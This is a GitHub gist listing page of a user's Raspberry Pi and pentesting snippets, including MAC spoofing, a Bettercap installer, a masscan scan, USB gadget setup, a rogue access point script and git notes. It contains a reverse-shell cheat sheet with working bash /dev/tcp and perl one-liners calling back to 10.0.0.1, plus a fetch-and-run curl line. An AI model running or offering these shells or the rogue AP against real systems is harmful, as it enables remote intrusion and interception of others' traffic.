Skip to content

Instantly share code, notes, and snippets.

View arrase's full-sized avatar
🏠
Working from home

Juan Ezquerro LLanes arrase

🏠
Working from home
View GitHub Profile
@arrase
arrase / gist:26464766eeb578cd28b1bdf28008a905
Last active February 14, 2017 08:42
Raspberry Pi - Spoof mac address
Edit
/boot/cmdline.txt
and add:
smsc95xx.macaddr=xx:xx:xx:xx:xx:xx
@arrase
arrase / install_ruby_rpi.sh
Created March 22, 2017 18:39 — forked from pedrocarrico/install_ruby_rpi.sh
A Bash script to install Ruby 2.2 on the Raspberry Pi (Raspbian).
#!/bin/bash
# -----------------------------------------------------------------------
# Installs Ruby 2.2 using rbenv/ruby-build on the Raspberry Pi (Raspbian)
#
# Run from the web:
# bash <(curl -s raw_script_url_here)
# -----------------------------------------------------------------------
# Set up variables
@arrase
arrase / bettercap_pi.sh
Created March 23, 2017 01:15
Install script for Bettercap in Raspbian
#!/bin/bash
aptitude install rbenv git vim
git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
read -d '' String <<"EOF"
# rbenv
export PATH="$HOME/.rbenv/bin:$PATH"
eval "$(rbenv init -)"
EOF
@arrase
arrase / masscan-banners.sh
Created March 23, 2017 15:23
Masscan with banners
#!/bin/bash
iptables -N LOGGING
iptables -A LOGGING -m limit --limit 200/min -j LOG --log-prefix "SHELLSHOCK: " --log-level 7
iptables -A LOGGING -j RETURN
iptables -A INPUT -s 10.0.0.0/8 -p icmp --icmp-type echo-request -j LOGGING
iptables -A INPUT -p tcp --dport 60000 -j DROP
masscan 10.0.0.0/8 -p80 --banners --source-port 60000
#!/bin/bash
modprobe libcomposite
cd /sys/kernel/config/usb_gadget/
mkdir -p g1
cd g1
echo 0x1d6b > idVendor # Linux Foundation
echo 0x0104 > idProduct # Multifunction Composite Gadget
echo 0x0100 > bcdDevice # v1.0.0
echo 0x0200 > bcdUSB # USB2
#!/bin/bash
cd /sys/kernel/config/usb_gadget/
mkdir -p isticktoit
cd isticktoit
echo 0x1d6b > idVendor # Linux Foundation
echo 0x0104 > idProduct # Multifunction Composite Gadget
echo 0x0100 > bcdDevice # v1.0.0
echo 0x0200 > bcdUSB # USB2
mkdir -p strings/0x409

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

  bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

  perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
@arrase
arrase / raspi-zero-w-fix-rfcomm.txt
Created April 9, 2017 21:14
This error is due to incompatibility issues with BlueZ 5 and SDP with bluetoothd
Make sure, running sdptool browse local gives following error:
Failed to connect to SDP server on FF:FF:FF:00:00:00: No such file or directory
As it turns out, the culprit is bluetoothd, the Bluetooth daemon. Using SDP with bluetoothd requires deprecated features for some silly reason, so to fix this, the daemon must be started in compatibility mode with bluetoothd -C (or bluetooth --compat).
Find location of bluetooth.service by:
systemctl status bluetooth.service
@arrase
arrase / rogue_ap.sh
Last active June 6, 2018 12:29
Rogue AP with aircrack-ng
#!/bin/bash
# Run: ./rogue_ap.sh <internet-interface> <wlan-interface> <ESSID>
airmon-ng start $2
airbase-ng --essid $3 mon0 &
# iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
# echo "1" > /proc/sys/net/ipv4/ip_forward
@arrase
arrase / git-pushing-multiple.rst
Created April 15, 2020 13:40 — forked from rvl/git-pushing-multiple.rst
How to push to multiple git remotes at once. Useful if you keep mirrors of your repo.

Pushing to Multiple Git Repos

If a project has to have multiple git repos (e.g. Bitbucket and Github) then it's better that they remain in sync.

Usually this would involve pushing each branch to each repo in turn, but actually Git allows pushing to multiple repos in one go.

If in doubt about what git is doing when you run these commands, just